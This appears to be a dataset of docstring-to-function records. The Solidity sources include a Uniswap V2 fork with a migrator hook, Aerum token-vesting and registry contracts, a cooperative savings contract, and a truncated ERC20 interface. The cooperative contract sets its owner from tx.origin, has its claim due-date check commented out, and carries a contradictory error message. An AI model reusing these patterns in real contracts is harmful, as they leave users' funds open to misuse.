IERC20Uniswap(token1).balanceOf(address(this)); uint amount0 = balance0.sub(_reserve0); uint amount1 = balance1.sub(_reserve1); bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee if (_totalSupply == 0) { address migrator = IUniswapV2Factory(factory).migrator(); if (msg.sender == migrator) { liquidity = IMigrator(migrator).desiredLiquidity(); require(liquidity > 0 && liquidity != uint256(-1), "Bad desired liquidity"); } else { require(migrator == address(0), "Must not have migrator"); liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY); _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens } } else { liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1); } require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED'); _mint(to, liquidity); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Mint(msg.sender, amount0, amount1); } // this low-level function should be called from a contract which performs important safety checks function burn(address to) external lock returns (uint amount0, uint amount1) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings address _token0 = token0; // gas savings address _token1 = token1; // gas savings uint balance0 = IERC20Uniswap(_token0).balanceOf(address(this)); uint balance1 = IERC20Uniswap(_token1).balanceOf(address(this)); uint liquidity = balanceOf[address(this)]; bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED'); _burn(address(this), liquidity); _safeTransfer(_token0, to, amount0); _safeTransfer(_token1, to, amount1); balance0 = IERC20Uniswap(_token0).balanceOf(address(this)); balance1 = IERC20Uniswap(_token1).balanceOf(address(this)); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Burn(msg.sender, amount0, amount1, to); } // this low-level function should be called from a contract which performs important safety checks function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock { require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT'); (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY'); uint balance0; uint balance1; { // scope for _token{0,1}, avoids stack too deep errors address _token0 = token0; address _token1 = token1; require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO'); if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data); balance0 = IERC20Uniswap(_token0).balanceOf(address(this)); balance1 = IERC20Uniswap(_token1).balanceOf(address(this)); } uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0; uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0; require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT'); { // scope for reserve{0,1}Adjusted, avoids stack too deep errors uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3)); uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3)); require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K'); } _update(balance0, balance1, _reserve0, _reserve1); emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to); } // force balances to match reserves function skim(address to) external lock { address _token0 = token0; // gas savings address _token1 = token1; // gas savings _safeTransfer(_token0, to, IERC20Uniswap(_token0).balanceOf(address(this)).sub(reserve0)); _safeTransfer(_token1, to, IERC20Uniswap(_token1).balanceOf(address(this)).sub(reserve1)); } // force reserves to match balances function sync() external lock { _update(IERC20Uniswap(token0).balanceOf(address(this)), IERC20Uniswap(token1).balanceOf(address(this)), reserve0, reserve1); } } // File: contracts/uniswapv2/UniswapV2Factory.sol pragma solidity =0.6.12; contract UniswapV2Factory is IUniswapV2Factory { address public override feeTo; address public override feeToSetter; address public override migrator; mapping(address => mapping(address => address)) public override getPair; address[] public override allPairs; event PairCreated(address indexed token0, address indexed token1, address pair, uint); constructor(address _feeToSetter) public { feeToSetter = _feeToSetter; } function allPairsLength() external override view returns (uint) { return allPairs.length; } function pairCodeHash() external pure returns (bytes32) { return keccak256(type(UniswapV2Pair).creationCode); } function createPair(address tokenA, address tokenB) external override returns (address pair) { require(tokenA != tokenB, 'UniswapV2: IDENTICAL_ADDRESSES'); (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2: ZERO_ADDRESS'); require(getPair[token0][token1] == address(0), 'UniswapV2: PAIR_EXISTS'); // single check is sufficient bytes memory bytecode = type(UniswapV2Pair).creationCode; bytes32 salt = keccak256(abi.encodePacked(token0, token1)); assembly { pair := create2(0, add(bytecode, 32), mload(bytecode), salt) } UniswapV2Pair(pair).initialize(token0, token1); getPair[token0][token1] = pair; getPair[token1][token0] = pair; // populate mapping in the reverse direction allPairs.push(pair); emit PairCreated(token0, token1, pair, allPairs.length); } function setFeeTo(address _feeTo) external override { require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN'); feeTo = _feeTo; } function setMigrator(address _migrator) external override { require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN'); migrator = _migrator; } function setFeeToSetter(address _feeToSetter) external override { require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN'); feeToSetter = _feeToSetter; } }
this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) { uint balance0 = IERC20Uniswap(_token0).balanceOf(address(this)); uint balance1 = IERC20Uniswap(_token1).balanceOf(address(this)); uint liquidity = balanceOf[address(this)]; bool feeOn = _mintFee(_reserve0, _reserve1); require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED'); _burn(address(this), liquidity); _safeTransfer(_token0, to, amount0); _safeTransfer(_token1, to, amount1); balance0 = IERC20Uniswap(_token0).balanceOf(address(this)); balance1 = IERC20Uniswap(_token1).balanceOf(address(this)); _update(balance0, balance1, _reserve0, _reserve1); emit Burn(msg.sender, amount0, amount1, to); }
32,317
pragma solidity 0.4.24; // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer( ERC20Basic _token, address _to, uint256 _value ) internal { require(_token.transfer(_to, _value)); } function safeTransferFrom( ERC20 _token, address _from, address _to, uint256 _value ) internal { require(_token.transferFrom(_from, _to, _value)); } function safeApprove( ERC20 _token, address _spender, uint256 _value ) internal { require(_token.approve(_spender, _value)); } } // File: contracts/governance/DelegateReference.sol /** * @title Delegate reference to be used in other contracts */ interface DelegateReference { /** * @notice Stake specified amount of tokens to the delegate to participate in coin distribution */ function stake(uint256 _amount) external; /** * @notice Unstake specified amount of tokens from the delegate */ function unstake(uint256 _amount) external; /** * @notice Return number of tokens staked by the specified staker */ function stakeOf(address _staker) external view returns (uint256); /** * @notice Sets Aerum address for delegate & calling staker */ function setAerumAddress(address _aerum) external; } // File: contracts/vesting/MultiVestingWallet.sol /** * @title TokenVesting * @notice A token holder contract that can release its token balance gradually like a * typical vesting scheme, with a cliff and vesting period. Optionally revocable by the * owner. */ contract MultiVestingWallet is Ownable { using SafeMath for uint256; using SafeERC20 for ERC20; event Released(address indexed account, uint256 amount); event Revoked(address indexed account); event UnRevoked(address indexed account); event ReturnTokens(uint256 amount); event Promise(address indexed account, uint256 amount); event Stake(address indexed delegate, uint256 amount); event Unstake(address indexed delegate, uint256 amount); ERC20 public token; uint256 public cliff; uint256 public start; uint256 public duration; uint256 public staked; bool public revocable; address[] public accounts; mapping(address => bool) public known; mapping(address => uint256) public promised; mapping(address => uint256) public released; mapping(address => bool) public revoked; /** * @notice Creates a vesting contract that vests its balance of any ERC20 token to the * of the balance will have vested. * @param _token token being vested * @param _cliff duration in seconds of the cliff in which tokens will begin to vest * @param _start the time (as Unix time) at which point vesting starts * @param _duration duration in seconds of the period in which the tokens will vest * @param _revocable whether the vesting is revocable or not */ constructor( address _token, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable ) public { require(_token != address(0)); require(_cliff <= _duration); token = ERC20(_token); revocable = _revocable; duration = _duration; cliff = _start.add(_cliff); start = _start; } /** * @notice Transfers vested tokens to beneficiary. */ function release() external { _release(msg.sender); } /** * @notice Transfers vested tokens to list of beneficiary. * @param _addresses List of beneficiaries */ function releaseBatch(address[] _addresses) external { for (uint256 index = 0; index < _addresses.length; index++) { _release(_addresses[index]); } } /** * @notice Transfers vested tokens to batch of beneficiaries (starting 0) * @param _start Index of first beneficiary to release tokens * @param _count Number of beneficiaries to release tokens */ function releaseBatchPaged(uint256 _start, uint256 _count) external { uint256 last = _start.add(_count); if (last > accounts.length) { last = accounts.length; } for (uint256 index = _start; index < last; index++) { _release(accounts[index]); } } /** * @notice Transfers vested tokens to all beneficiaries. */ function releaseAll() external { for (uint256 index = 0; index < accounts.length; index++) { _release(accounts[index]); } } /** * @notice Internal transfer of vested tokens to beneficiary. */ function _release(address _beneficiary) internal { uint256 amount = releasableAmount(_beneficiary); if (amount > 0) { released[_beneficiary] = released[_beneficiary].add(amount); token.safeTransfer(_beneficiary, amount); emit Released(_beneficiary, amount); } } /** * @notice Allows the owner to revoke the vesting. Tokens already vested * remain in the contract, the rest are returned to the owner. * @param _beneficiary Account which will be revoked */ function revoke(address _beneficiary) public onlyOwner { require(revocable); require(!revoked[_beneficiary]); promised[_beneficiary] = vestedAmount(_beneficiary); revoked[_beneficiary] = true; emit Revoked(_beneficiary); } /** * @notice Allows the owner to revoke the vesting for few addresses. * @param _addresses Accounts which will be unrevoked */ function revokeBatch(address[] _addresses) external onlyOwner { for (uint256 index = 0; index < _addresses.length; index++) { revoke(_addresses[index]); } } /** * @notice Allows the owner to unrevoke the vesting. * @param _beneficiary Account which will be unrevoked */ function unRevoke(address _beneficiary) public onlyOwner { require(revocable); require(revoked[_beneficiary]); revoked[_beneficiary] = false; emit UnRevoked(_beneficiary); } /** * @notice Allows the owner to unrevoke the vesting for few addresses. * @param _addresses Accounts which will be unrevoked */ function unrevokeBatch(address[] _addresses) external onlyOwner { for (uint256 index = 0; index < _addresses.length; index++) { unRevoke(_addresses[index]); } } /** * @notice Calculates the amount that has already vested but hasn't been released yet. * @param _beneficiary Account which gets vested tokens */ function releasableAmount(address _beneficiary) public view returns (uint256) { return vestedAmount(_beneficiary).sub(released[_beneficiary]); } /** * @notice Calculates the amount that has already vested. * @param _beneficiary Account which gets vested tokens */ function vestedAmount(address _beneficiary) public view returns (uint256) { uint256 totalPromised = promised[_beneficiary]; if (block.timestamp < cliff) { return 0; } else if (block.timestamp >= start.add(duration) || revoked[_beneficiary]) { return totalPromised; } else { return totalPromised.mul(block.timestamp.sub(start)).div(duration); } } /** * @notice Calculates the amount of free tokens in contract */ function remainingBalance() public view returns (uint256) { uint256 tokenBalance = token.balanceOf(address(this)); uint256 totalPromised = 0; uint256 totalReleased = 0; for (uint256 index = 0; index < accounts.length; index++) { address account = accounts[index]; totalPromised = totalPromised.add(promised[account]); totalReleased = totalReleased.add(released[account]); } uint256 promisedNotReleased = totalPromised.sub(totalReleased); if (promisedNotReleased > tokenBalance) { return 0; } return tokenBalance.sub(promisedNotReleased); } /** * @notice Calculates amount of tokens promised */ function totalPromised() public view returns (uint256) { uint256 total = 0; for (uint256 index = 0; index < accounts.length; index++) { address account = accounts[index]; total = total.add(promised[account]); } return total; } /** * @notice Calculates amount of tokens released */ function totalReleased() public view returns (uint256) { uint256 total = 0; for (uint256 index = 0; index < accounts.length; index++) { address account = accounts[index]; total = total.add(released[account]); } return total; } /** * @notice Returns free tokens to owner */ function returnRemaining() external onlyOwner { uint256 remaining = remainingBalance(); require(remaining > 0); token.safeTransfer(owner, remaining); emit ReturnTokens(remaining); } /** * @notice Returns all tokens to owner */ function returnAll() external onlyOwner { uint256 remaining = token.balanceOf(address(this)); token.safeTransfer(owner, remaining); emit ReturnTokens(remaining); } /** * @notice Sets promise to account * @param _beneficiary Account which gets vested tokens * @param _amount Amount of tokens vested */ function promise(address _beneficiary, uint256 _amount) public onlyOwner { if (!known[_beneficiary]) { known[_beneficiary] = true; accounts.push(_beneficiary); } promised[_beneficiary] = _amount; emit Promise(_beneficiary, _amount); } /** * @notice Sets promise to list of account * @param _addresses Accounts which will get promises * @param _amounts Promise amounts */ function promiseBatch(address[] _addresses, uint256[] _amounts) external onlyOwner { require(_addresses.length == _amounts.length); for (uint256 index = 0; index < _addresses.length; index++) { promise(_addresses[index], _amounts[index]); } } /** * @notice Returns full list if beneficiaries */ function getBeneficiaries() external view returns (address[]) { return accounts; } /** * @notice Returns number of beneficiaries */ function getBeneficiariesCount() external view returns (uint256) { return accounts.length; } /** * @notice Stake specified amount of vested tokens to the delegate by the beneficiary */ function stake(address _delegate, uint256 _amount) external onlyOwner { staked = staked.add(_amount); token.approve(_delegate, _amount); DelegateReference(_delegate).stake(_amount); emit Stake(_delegate, _amount); } /** * @notice Unstake the given number of vested tokens by the beneficiary */ function unstake(address _delegate, uint256 _amount) external onlyOwner { staked = staked.sub(_amount); DelegateReference(_delegate).unstake(_amount); emit Unstake(_delegate, _amount); } } // File: contracts\registry\ContractRegistry.sol /** * @title Contract registry */ contract ContractRegistry is Ownable { struct ContractRecord { address addr; bytes32 name; bool enabled; } address private token; /** * @dev contracts Mapping of contracts */ mapping(bytes32 => ContractRecord) private contracts; /** * @dev contracts Mapping of contract names */ bytes32[] private contractsName; event ContractAdded(bytes32 indexed _name); event ContractRemoved(bytes32 indexed _name); constructor(address _token) public { require(_token != address(0), "Token is required"); token = _token; } /** * @dev Returns contract by name * @param _name Contract's name */ function getContractByName(bytes32 _name) external view returns (address, bytes32, bool) { ContractRecord memory record = contracts[_name]; if(record.addr == address(0) || !record.enabled) { return; } return (record.addr, record.name, record.enabled); } /** * @dev Returns contract's names */ function getContractNames() external view returns (bytes32[]) { uint count = 0; for(uint i = 0; i < contractsName.length; i++) { if(contracts[contractsName[i]].enabled) { count++; } } bytes32[] memory result = new bytes32[](count); uint j = 0; for(i = 0; i < contractsName.length; i++) { if(contracts[contractsName[i]].enabled) { result[j] = contractsName[i]; j++; } } return result; } /** * @notice Creates a vesting contract that vests its balance of any ERC20 token to the * of the balance will have vested. * @param _name contract's name * @param _cliff duration in seconds of the cliff in which tokens will begin to vest * @param _start the time (as Unix time) at which point vesting starts * @param _duration duration in seconds of the period in which the tokens will vest * @param _revocable whether the vesting is revocable or not */ function addContract( bytes32 _name, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) external onlyOwner { require(contracts[_name].addr == address(0), "Contract's name should be unique"); require(_cliff <= _duration, "Cliff shall be bigger than duration"); MultiVestingWallet wallet = new MultiVestingWallet(token, _start, _cliff, _duration, _revocable); wallet.transferOwnership(msg.sender); address walletAddr = address(wallet); ContractRecord memory record = ContractRecord({ addr: walletAddr, name: _name, enabled: true }); contracts[_name] = record; contractsName.push(_name); emit ContractAdded(_name); } /** * @dev Enables/disables contract by address * @param _name Name of the contract */ function setEnabled(bytes32 _name, bool enabled) external onlyOwner { ContractRecord memory record = contracts[_name]; require(record.addr != address(0), "Contract with specified address does not exist"); contracts[_name].enabled = enabled; } /** * @dev Set's new name * @param _oldName Old name of the contract * @param _newName New name of the contract */ function setNewName(bytes32 _oldName, bytes32 _newName) external onlyOwner { require(contracts[_newName].addr == address(0), "Contract's name should be unique"); ContractRecord memory record = contracts[_oldName]; require(record.addr != address(0), "Contract's old name should be defined"); record.name = _newName; contracts[_newName] = record; contractsName.push(_newName); delete contracts[_oldName]; contractsName = removeByValue(contractsName, _oldName); } function removeByValue(bytes32[] memory _array, bytes32 _name) private pure returns(bytes32[]) { uint i = 0; uint j = 0; bytes32[] memory outArray = new bytes32[](_array.length - 1); while (i < _array.length) { if(_array[i] != _name) { outArray[j] = _array[i]; j++; } i++; } return outArray; } }
Returns free tokens to owner/
function returnRemaining() external onlyOwner { uint256 remaining = remainingBalance(); require(remaining > 0); token.safeTransfer(owner, remaining); emit ReturnTokens(remaining); }
7,222,051
// define the solidity version // SPDX-License-Identifier: GPL-3.0 /// @author Shuaibu Alexander /// @title A cooperative Contract /// @notice This is a cooperative function, it facilitates group savings /// and then disburses this savings to members one at a time as if they were taking a loan pragma solidity ^0.8.3; // import "hardhat/console.sol"; contract Cooperative { // ----- define the different enums which we are going to be using enum TransactionType { CLAIM, DEPOSIT } enum Status { INITIALISED, STARTED, CLOSED } enum Role { CLAIMER, DEPOSITOR } // define the different enums which we are going to be using // ----- define the events event LogTransaction( address indexed user, TransactionType indexed actionType, uint256 timeStamp ); event UserAdded( address indexed user, address indexed addedBy, uint256 timestamp ); // ----- define the events // define a structure for the user struct User { uint256 nextExpectedDepositDate; //The next date at which this user can deposit money bool paidForRound; //have they paid for this round of the contribution uint256 claimDueDate; //the date at which they can claim the loot bool claimed; //a boolean to indicate if they have actually claimed their loot Role roundRole; // an indicator of if they were a depositor or claimer during this } // define a structure for the user // predefine the contract's key variables Status public status; // initialise core variables for the contract uint256 public userCount; //initialise to one to account for the user who created the contract address[] public users; //store an array of all the users currently address public owner; uint256 public maxUsers; uint256 public contributionAmount; uint256 internal createdAt; uint256 public frequencyInDays; uint256 public currentRound; uint256 public startDate; // predefine the contract's key variables // define constants address private constant zeroAddress = 0x0000000000000000000000000000000000000000; // define constants // creating a collection of mappings which would be used across the application mapping(address => User) public userSettings; //a mapping of user addresses to their payment info mapping(address => address) public invitedBy; // a mapping of the address of who was invited and who was not, on order to track invitations mapping(address => address) public invited; // a mapping of invitee => invitor // creating a collection of mappings which would be used across the application // write fallback functions, should in case a user wants to pay soome eth to this contract fallback() external payable {} receive() external payable {} // write fallback functions, should in case a user wants to pay soome eth to this contract // define the several modifiers which we would use across the contracts modifier isMember() { require( invitedBy[msg.sender] != zeroAddress, "This user is not a member of this cooperative" ); _; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier notEnoughMembers() { require(userCount < maxUsers, "This cooperative is already full"); _; } modifier hasNotStarted() { require( status == Status.INITIALISED || status == Status.CLOSED, "This cooperative already started, This action is not allowed any more." ); _; } modifier hasStarted() { require( status == Status.STARTED, "This cooperative has not yet been started, add more members" ); _; } // if they happen to pay more than the required amount, then refund them modifier makeRefund() { //refund them after pay for item (why it is before, _ checks for logic before func) _; uint256 amountToRefund = msg.value - contributionAmount; if (amountToRefund > 0) { payable(msg.sender).transfer(amountToRefund); } } // check to make sure tha modifier checkAmount() { User memory oneUser = userSettings[msg.sender]; require( oneUser.roundRole == Role.DEPOSITOR, "It is not your turn to deposit yet, please wait a turn" ); require( msg.value >= contributionAmount, "Please make sure you are sending the minimum balance" ); require( userSettings[msg.sender].paidForRound == false, "You Cannot make any more payments for this round." ); _; } modifier canClaim() { //make sure their due date is passed and they have not claimed it User memory oneUser = userSettings[msg.sender]; require( oneUser.roundRole == Role.CLAIMER, "It is not yo;ur turn to claim yet, please wait a while" ); require(oneUser.claimed == false, "You have already claimed your pool"); // maybe make sure that they can only claim at the end of the tenor // require( // block.timestamp > oneUser.claimDueDate, // "You are not due for a payment yet" // ); require( address(this).balance >= (maxUsers - 1) * contributionAmount, "Please Hold on till more deposits are made" ); _; } // define the several modifiers which we would use across the contracts /** * @dev a function used to assign due dates for others * @param numberOfUnits the number of days in which we want to move foward by (in uints of the frequency of payment of the cooperative) * @return It returns the time from now, in timestamp but in units of the specified interval of the contribution **/ function _unitTimeFromNow(uint256 numberOfUnits) private view returns (uint256) { return block.timestamp + (numberOfUnits * frequencyInDays * 1 days); } /** * @dev a function used to offset dates from the creation date by a facrot of the frequency of payments of the contracts * @param numberOfUnits the number of days in which we want to move foward by (in uints of the frequency of payment of the cooperative) * @return It returns the time from the creation date, in timestamp but in units of the specified interval of the contribution **/ function _offsetCreationDate(uint256 numberOfUnits) private view returns (uint256) { return createdAt + (numberOfUnits * frequencyInDays * 1 days); } /** * @dev Set contract deployer as owner */ constructor(uint256 _users, uint256 _contributionInEther,uint256 _frequencyInDays) { require(_users >= 3, "The maximum number of users allowed is 3"); require( _frequencyInDays >= 7, "The minimum frequency allowed is 7 days" ); require( _contributionInEther > 0, "You cannot set zero as the minimum contribution" ); // initialise variables from constructor maxUsers = _users; //this would be a oarameter to the constructor eventually frequencyInDays = _frequencyInDays; //this means the frequency at which contributions are to be made contributionAmount = _contributionInEther ; //this would be a parameter to the constructor eventually from the factory contract // initialise variables from constructor //initialise state variables userCount = 1; //the number of users existing in this contribution currentRound = 1; //which round are we on owner = tx.origin; //remove after we use the ownable contract users.push(tx.origin); //add this user to the array of users we have createdAt = block.timestamp; //initialise the creation date of the contract status = Status.INITIALISED; //initialise the contract invitedBy[tx.origin] = address(this); //make the sender invited by the contract //initialise state variables } /** * @notice Functions of the contract * @return The current balance of this smart contract */ function getBalance() public view returns (uint256) { return address(this).balance; } /// @notice Initialise all the registered users of a cooperative /// @dev we use this to initialise the state of the users in the contract. function initialiseUsers() internal hasNotStarted { for (uint256 i = 0; i < userCount; i++) { address oneUser = users[i]; User memory newUser = User({ roundRole: i == 0 ? Role.CLAIMER : Role.DEPOSITOR, //if it is the first user then make them a a claimer, otherwise make them a depositor claimDueDate: _unitTimeFromNow(i + 1), paidForRound: false, claimed: false, nextExpectedDepositDate: i == 0 ? _offsetCreationDate(currentRound + 1) : _offsetCreationDate(currentRound) //the next date at which this user is meant to deposit }); userSettings[oneUser] = newUser; // console.log(newUser.claimDueDate); } status = Status.STARTED; } /// @notice Invite a new user to the cooperative pool /// @dev it runs several checks to ensure unauthorised parties cannot join the cooperative society - Tested /// @param newUser The address of the user which we wish to invite to the cooperation /// @return address The addresss of the newly added user function inviteUser(address newUser) public hasNotStarted returns (address) { // run several checks to confirm the user can actually join the cooperative require(newUser != msg.sender, "You cannot invite yourself!"); require( invitedBy[msg.sender] != zeroAddress, "You are not a member of this cooperation, please require an invite from a member" ); require( invited[msg.sender] == zeroAddress, "You have invited another user already" ); require( invitedBy[newUser] == zeroAddress, "This user has already been invited by another user to the cooperative" ); invitedBy[newUser] = msg.sender; invited[msg.sender] = newUser; users.push(newUser); userCount = userCount + 1; if (userCount == maxUsers) { startDate = block.timestamp; initialiseUsers(); //initialise key variables of the user } emit UserAdded(newUser, msg.sender, block.timestamp); return newUser; } /// /// @notice Allows a user to claim the pooled funds for himself /// @dev added extra security to refund the user should they for any reason make more deposit than they should /// function claim() public isMember hasStarted canClaim { // if all conditions pass, then send the user the right ether uint256 rightAmount = (maxUsers - 1) * contributionAmount; payable(msg.sender).transfer(rightAmount); // make it known that this user has claimed their stake User storage currentUser = userSettings[msg.sender]; currentUser.claimed = true; currentRound += 1; // after claiming, reset everyone to a state of non payment and initialise next payment date for (uint256 i = 0; i < userCount; i++) { address oneUserAddress = users[i]; User storage oneUser = userSettings[oneUserAddress]; // if the current user, is the one to be paid in this cycle, then shift his next due date and roles accordingly if (currentRound == i + 1) { oneUser.nextExpectedDepositDate = _offsetCreationDate( currentRound + 1 ); oneUser.paidForRound = true; oneUser.roundRole = Role.CLAIMER; } else { oneUser.nextExpectedDepositDate = _offsetCreationDate( currentRound ); oneUser.paidForRound = false; oneUser.roundRole = Role.DEPOSITOR; } } // after the last person has claimed, then we close down the cooperative if (currentRound - 1 == userCount) { status = Status.CLOSED; } emit LogTransaction(msg.sender, TransactionType.CLAIM, block.timestamp); } /// /// @notice function to help deposit, refund them if they pay more than the right amount /// function deposit() public payable isMember hasStarted checkAmount makeRefund { require( userSettings[msg.sender].paidForRound != true, "You have made a contribution for this round already, please wait till the next round" ); User storage oneUser = userSettings[msg.sender]; oneUser.paidForRound = true; emit LogTransaction( msg.sender, TransactionType.DEPOSIT, block.timestamp ); } /// /// @notice is used to check if the sender of the message can claim funds from the pool /// @return return a boolen which indicates if the sending user can claim their pool /// function canClaimPool() public view isMember returns (bool) { User memory oneUser = userSettings[msg.sender]; return oneUser.claimed == false && oneUser.roundRole == Role.CLAIMER && //&& block.timestamp > oneUser.claimDueDate address(this).balance >= (maxUsers - 1) * contributionAmount; } }
a function used to assign due dates for others numberOfUnits the number of days in which we want to move foward by (in uints of the frequency of payment of the cooperative) return It returns the time from now, in timestamp but in units of the specified interval of the contribution/
function _unitTimeFromNow(uint256 numberOfUnits) private view returns (uint256) { return block.timestamp + (numberOfUnits * frequencyInDays * 1 days); }
15,812,118
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. 